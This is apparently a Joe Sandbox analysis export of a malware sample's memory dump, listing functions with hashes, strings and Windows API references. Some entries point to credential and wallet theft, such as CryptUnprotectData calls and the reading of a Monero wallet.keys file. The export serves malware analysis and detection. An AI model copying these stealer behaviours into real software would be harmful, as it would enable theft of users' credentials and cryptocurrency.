API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: de6976c4a70368e3137d2e332445a5b06be39830bcf8a425bf3738c6eab87a89
Instruction ID: b6a2ba8fd01db4d9512b28dc161b9628db685fa48f4ed768b5be5280cda5ad4e
Opcode Fuzzy Hash: de6976c4a70368e3137d2e332445a5b06be39830bcf8a425bf3738c6eab87a89
Instruction Fuzzy Hash: CE117CB1945618EBEB218B54DC49FA9BBBCFB05721F10469AE90AA32C0C7785A40CF91

Function 0053459E Relevance: 5.3, Strings: 3, Instructions: 1557COMMON

Download Yara Rule

Strings

|E, xrefs: 00534B4B
icuY, xrefs: 00534B9E
;&n;, xrefs: 00534704

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;&n;$icuY$|E
API String ID: 0-969125757
Opcode ID: 4e967870f6c73012619de36909d5b835f1fb5361eabfedf3b1abe678f8e26313
Instruction ID: 4482a9c4601e0ff35765f2ac9f1c1d6ed506495869bd186c375a6caa25eb150f
Opcode Fuzzy Hash: 4e967870f6c73012619de36909d5b835f1fb5361eabfedf3b1abe678f8e26313
Instruction Fuzzy Hash: 84A2E6F350C204AFE3046E29EC85A7AF7E9EF94720F1A493DE6C5C3744EA7558018697

Function 00173720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0017E118,00000000,00000001,0017E108,00000000), ref: 00173758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 001737B0

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 6e12b029384ff96701367e6b825f630e28cf0ea0ea3f4a9a003baa1598a414a1
Instruction ID: 66c0bc0ccde033f081e5e5f15be3226e1f0d05208f755fea4f4901c9a664548e
Opcode Fuzzy Hash: 6e12b029384ff96701367e6b825f630e28cf0ea0ea3f4a9a003baa1598a414a1
Instruction Fuzzy Hash: 65410A71A40A289FDB24DB58CC95B9BB7B4BB48702F4082D8E618EB2D0D7716E85CF51

Function 00169B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00169B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00169BA3
LocalFree.KERNEL32(?), ref: 00169BD3

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: ebd7c688424c7be8ad83ce0e46b5adfd27923ee5ba2beb4be5fa82b015dd0616
Instruction ID: d8499089bea46efd5ae00634cbc8a7bda5eb7044b6bd8a2668786b2c14f4fbd6
Opcode Fuzzy Hash: ebd7c688424c7be8ad83ce0e46b5adfd27923ee5ba2beb4be5fa82b015dd0616
Instruction Fuzzy Hash: 3911C9B9A00209EFDB05DF94D985EAE77B9FF89300F104598E915A7350D774AE10CFA1

Function 0052F434 Relevance: 4.1, Strings: 2, Instructions: 1556COMMON

Download Yara Rule

Strings

E__, xrefs: 0052F712
7u, xrefs: 0052FE75

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7u$E__
API String ID: 0-1400097245
Opcode ID: 45f21e09f8b388cade121e9f3c2bdcaedd3a3205c1aef839f8643ae6857f4f0f
Instruction ID: 158df46215ed76a499d57d99e871cf91038ddc3690aca661c31972a252a3f5e2
Opcode Fuzzy Hash: 45f21e09f8b388cade121e9f3c2bdcaedd3a3205c1aef839f8643ae6857f4f0f
Instruction Fuzzy Hash: DBB2F3F3A0C2149FE3046E2DEC8567ABBE9EF94720F16493DEAC4C7740E63558058697

Function 00617961 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

hSs, xrefs: 006179BC

Memory Dump Source

Source File: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID: hSs
API String ID: 0-2329652023
Opcode ID: 72bd31faa65dd65a9e96c6b5c49cec1db4b9ce8c1285dd79fc2137ae8b66b307
Instruction ID: 8b1d5f20d31ffa512243ae330fad98d6a590f2b37385616e3f782c4e3b39c380
Opcode Fuzzy Hash: 72bd31faa65dd65a9e96c6b5c49cec1db4b9ce8c1285dd79fc2137ae8b66b307
Instruction Fuzzy Hash: ED51EBF390C510DBE704AE29DC056BAB7B6EB94310F2A493DD9C6C7304EA319996D783

Function 0047F458 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d44e706bf4adfe1d2390d363b89246fcf98b217e92812db8c3b54fa5a6dada7
Instruction ID: d7e604511c13aa8cb5ed6f2e6796657960acd338171e427f12d76152b21f58a6
Opcode Fuzzy Hash: 0d44e706bf4adfe1d2390d363b89246fcf98b217e92812db8c3b54fa5a6dada7
Instruction Fuzzy Hash: DB61F5B370C2009FE344AE2DEC9577ABBD6EBD8320F16463DEA84C7384E93598058756

Function 004005E0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a01c8644d1e825b4cb0f01d7e3c111611c26ac17a04131a7c41e7569d8d7b5c1
Instruction ID: cd13005879f295b5e106be3ec6c1194b5095c6dff8a6878c1f7f7f7fe9fadd6a
Opcode Fuzzy Hash: a01c8644d1e825b4cb0f01d7e3c111611c26ac17a04131a7c41e7569d8d7b5c1
Instruction Fuzzy Hash: 5861F7B3E096108FE3056E29DC8576AFBE2EFD4310F1A893CDAC897744D639584487C2

Function 0052CFE6 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 819d4d6fe693eae5333f260afb1c62f3bbb2bcdfd5016438998a881381bd571e
Instruction ID: dbe7c038cd56e1d6cb8df7285f540c18c3a0f2eefbf03e4d8750f2a21647373e
Opcode Fuzzy Hash: 819d4d6fe693eae5333f260afb1c62f3bbb2bcdfd5016438998a881381bd571e
Instruction Fuzzy Hash: AD51F6B361C2049FE704AE6DECC562AFBE8EF54220F16492DEAC4C7744E67499418B93

Function 004415CB Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f13088c0ac8acf7ccbe7ea413d0496ee2e0e0c9e91a35a5e9777565246dfc9
Instruction ID: 6dd4078acc523f2b610cedfde98742f5ab28eb517d6600a9a6b985ce884fbce7
Opcode Fuzzy Hash: c3f13088c0ac8acf7ccbe7ea413d0496ee2e0e0c9e91a35a5e9777565246dfc9
Instruction Fuzzy Hash: C151E5F3A086149BE3047E5DDC8577AF7EAEF98721F16463DE7C483780E97458008696

Function 00501486 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 090a4fdf8302d7acddd908eb3e543b9805888f7b16fd88e41f00bf92acfae766
Instruction ID: 24ced8d789901eebf03632b02634038c9f693f21a93470150ac21d3261ca3784
Opcode Fuzzy Hash: 090a4fdf8302d7acddd908eb3e543b9805888f7b16fd88e41f00bf92acfae766
Instruction Fuzzy Hash: 80516AF3A083044FF3086F29EC5577AB3D5EB90320F2A463DDA8997780F97E68058246

Function 0050973D Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e203f81b10b3f2e986dc6414f7d2b32159e8e9c77a3a500965a11bd25a2cea37
Instruction ID: b66bc3d97674733041ba43f7b3a6ba0de7aa52e3338f410db9b88cbad7abf98c
Opcode Fuzzy Hash: e203f81b10b3f2e986dc6414f7d2b32159e8e9c77a3a500965a11bd25a2cea37
Instruction Fuzzy Hash: DD31B3F3E452104BF305692DDC4576AB6CAABD4720F1B823D9E98973C5ED7D5C064182

Function 00179750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00170250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 00178DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00178E0B

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

Part of subcall function 001699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001699EC
Part of subcall function 001699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00169A11
Part of subcall function 001699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00169A31
Part of subcall function 001699C0: ReadFile.KERNEL32(000000FF,?,00000000,0016148F,00000000), ref: 00169A5A
Part of subcall function 001699C0: LocalFree.KERNEL32(0016148F), ref: 00169A90
Part of subcall function 001699C0: CloseHandle.KERNEL32(000000FF), ref: 00169A9A

Part of subcall function 00178E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00178E52

GetProcessHeap.KERNEL32(00000000,000F423F,00180DBA,00180DB7,00180DB6,00180DB3), ref: 00170362
RtlAllocateHeap.NTDLL(00000000), ref: 00170369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00170385
